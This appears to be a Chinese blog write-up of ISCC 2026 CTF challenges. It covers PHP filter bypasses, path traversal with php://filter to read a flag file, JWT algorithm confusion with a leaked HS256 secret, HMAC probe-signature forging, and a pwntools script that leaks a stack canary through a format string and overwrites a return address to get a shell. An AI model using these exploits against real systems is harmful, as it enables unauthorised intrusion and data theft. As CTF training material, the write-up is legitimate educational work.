本文最后更新于 2026年5月18日 晚上
Web 消失的密钥 (The Vanishing Key) 一个密钥认证界面,http://39.105.213.28:12601/?source可以看源码
利用链很简单,一共要过三层校验
1 2 3 $step1 = $_GET ['step1' ];$filtered = str_replace ("key" , "" , $step1 );if ($filtered === "key" ) {
这里step1可以双写绕过
1 2 3 4 5 6 7 8 $a = $_POST ['a' ] ?? null ;if (!$a ) { echo "<div class='status-err'>[SYS] Error: POST data structure 'a' missing. Terminal locked.</div>" ; echo "<p class='hint'>Note: The terminal UI is deprecated. Manual injection required.</p>" ; } else { $obj_a = (object )$a ; $user_key = $obj_a ->key; if (isset ($user_key ) && $user_key === "1337" ) {
这里考察数组传参,a[key]=1337
1 2 3 4 $val_a = $_GET ['a' ] ?? "" ;$val_b = $_GET ['b' ] ?? "" ;if ($val_a !== "" && $val_b !== "" && $val_a !== $val_b ) { if (md5 ($val_a ) == md5 ($val_b )) {
一个简单的哈希弱比较
JSON Beautifier 一个json美化的工具,支持json和data uri,访问一个不存在的页面提示robot.txt
这里暴露了两个API端口,一个是美化端口,一个是预览端口
这里通过file传参可以预览美化后的效果,推测存在文件包含,/api/preview.php/?file=../../var/www/html/src/api/preview.php可以读到源码
1 2 3 4 5 $file = (string )$_GET ['file' ];$file = str_replace ("\0" , '' , $file );$requested = TMP_DIR . '/' . $file ;$real = realpath ($requested );$content = file_get_contents ($real );
我们还发现这里有个config.php
1 2 3 4 5 6 7 8 9 <?php declare (strict_types=1 );const APACHE_DEFAULT_DOCROOT = '/var/www/html' ;const APACHE_DOCROOT = '/var/www/html/src' ;const TMP_DIR = '/tmp/json_preview' ;const SRC_API_DIR = APACHE_DOCROOT . '/api' ;const FLAG_PATH = '/secret/flag' ;
flag的位置也确定了,直接访问没有权限,可以把伪协议写到预览文件里面
$deny = ['http', 'https', 'ftp', 'ftps', 'phar', 'expect', ];,我们用filter链
1 php:// filter/resource=/ secret/flag
夜班审计台 一个sql查询的页面,可以登录但是不能注册,貌似sql注入功能是摆着好看的
发现有git泄露,一共两个文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 DEFAULT_AUDITOR = ("auditor" , "audit2025" ) INTERNAL_DEV_SECRET = "ISCC_2026_JWT_DEBUG_KEY_#9527" JWT_ACCEPTED = ["RS256" , "HS256" ]def decode_ticket (token ): """ current branch: if header.alg == "RS256": verify with audit_rsa_pub.pem elif header.alg == "HS256": verify with INTERNAL_DEV_SECRET normal login still issues role=user """ raise NotImplementedErrordef handover (): note = [] note.append("dashboard link to /auditor/nodes stays role-gated" ) note.append("legacy fallback verifier was removed from this revision" ) note.append("if night shift asks for old sign rule, inspect previous revision" ) return noteclass TinyMaze : MAP = [ "#########" , "#..#....#" , "#..#.#..#" , "#....#..#" , "#########" , ] def __init__ (self, start=(1 , 1 ) ): self .pos = list (start) def move (self, dx, dy ): x = self .pos[0 ] + dx y = self .pos[1 ] + dy if self .MAP[y][x] != "#" : self .pos = [x, y] return tuple (self .pos)
这里我们可以找到审计员的用户名密码,但是登录进去发现只有普通的user权限,这里就需要jwt伪造了,这里同时支持两种加密方式
RS256是非对称加密私钥签名公钥验证
HS256是对称加密,双方试用同一个密钥,并且源码已经泄露了密钥
我们先拿到jwt,解密把身份改为auditor把加密方式换成HS256
通过这个jwt也是成功进入审计台,这里可以查询节点状态,但是需要签名,这就用到泄露的第二个文件了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 SERVER_SECRET = "ISCC_SERVER_SECRET_REAL" LOCAL_ONLY = ("127.0.0.1" , "::1" ) AUDIT_NODE = "core-storage-01" TIME_WINDOW = 60 def verify_probe (node_id: str , ts: int , sign: str ) -> bool : """ internal/audit fallback: msg = f"{node_id}:{ts}" expected = HMAC_SHA256_hex(SERVER_SECRET, msg) abs(now-ts) <= 60 remote_addr in LOCAL_ONLY """ raise NotImplementedErrorclass PixelRunner : def __init__ (self ): self .energy = 3 self .score = 0 def tick (self, move: str ): if move in {"left" , "right" , "jump" }: self .score += 1 self .energy = max (0 , self .energy - 1 ) return self .score, self .energydef demo_loop (script ): game = PixelRunner() for move in script: game.tick(move) return game.score
这里我们写一个脚本获取当前时间戳并计算签名,注意及时提交,只有60秒的时间窗
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import time, hmac, hashlib node_id = "core-storage-01" ts = str (int (time.time())) secret = "ISCC_SERVER_SECRET_REAL" sign = hmac.new( secret.encode(), f"{node_id} :{ts} " .encode(), hashlib.sha256 ).hexdigest()print (ts)print (sign)
Mobile 代号:暗箱解密行动 先在雷电模拟器装上,发现需要四个密钥才能获得flag
解包一下app,在assets文件夹发现三个文件
p1_display.png明显是提示第一个密钥,是一个打乱的拼图,我们恢复一下
43542E3D3660,应该是16进制,也就是p1 = CT.=6`
我也就能帮这点忙了,下面交给ai做了
Pwn stack 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *import reimport time context.arch = 'i386' context.log_level = 'info' HOST = '39.96.193.120' PORT = 10004 GETSHELL = 0x080491c6 io = remote(HOST, PORT)print (io.recv(timeout=2 ).decode(errors='ignore' )) io.send(b'%29$p.%30$p.%31$p.%32$p\x00' ) time.sleep(0.2 ) leak = io.recv(timeout=2 )print ('leak =' , leak) vals = re.findall(rb'0x[0-9a-fA-F]+|\(nil\)' , leak) canary = int (vals[2 ], 16 )print ('canary =' , hex (canary)) payload = b'A' * 100 payload += p32(canary) payload += b'B' * 8 payload += b'C' * 4 payload += p32(GETSHELL) io.send(payload) io.sendline(b'cat /flag 2>/dev/null || cat /flag.txt 2>/dev/null || find / -maxdepth 2 -name \"flag*\" 2>/dev/null | xargs -r cat' )print (io.recvrepeat(2 ).decode(errors='ignore' )) io.close()
Misc 双校区来信 一共两个附件,一个图片一个音频
先画一个谱频图
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import wave, numpy as np, matplotlib.pyplot as plt path = r'.\素材\campus_broadcast.wav' with wave.open (path, 'rb' ) as w: data = np.frombuffer(w.readframes(w.getnframes()), dtype=np.int16) rate = w.getframerate() plt.figure(figsize=(15 ,6 )) plt.specgram(data, NFFT=512 , Fs=rate, noverlap=400 , cmap='magma' ) plt.ylim(0 , 22050 ) plt.xlabel('Time (s)' ) plt.ylabel('Freq (Hz)' ) plt.tight_layout() plt.savefig(r'.\spectrogram_full.png' , dpi=180 )print ('saved' )
能看见hdbxqsdx
再看看图片里面有没有隐藏信息
后记 写下这段文字已经是5月18日晚上了,ISCC终于打完了,区域赛和国赛的wp就不放到博客了,题目没什么研究的价值,再也不想打这么恶心的比赛了。。。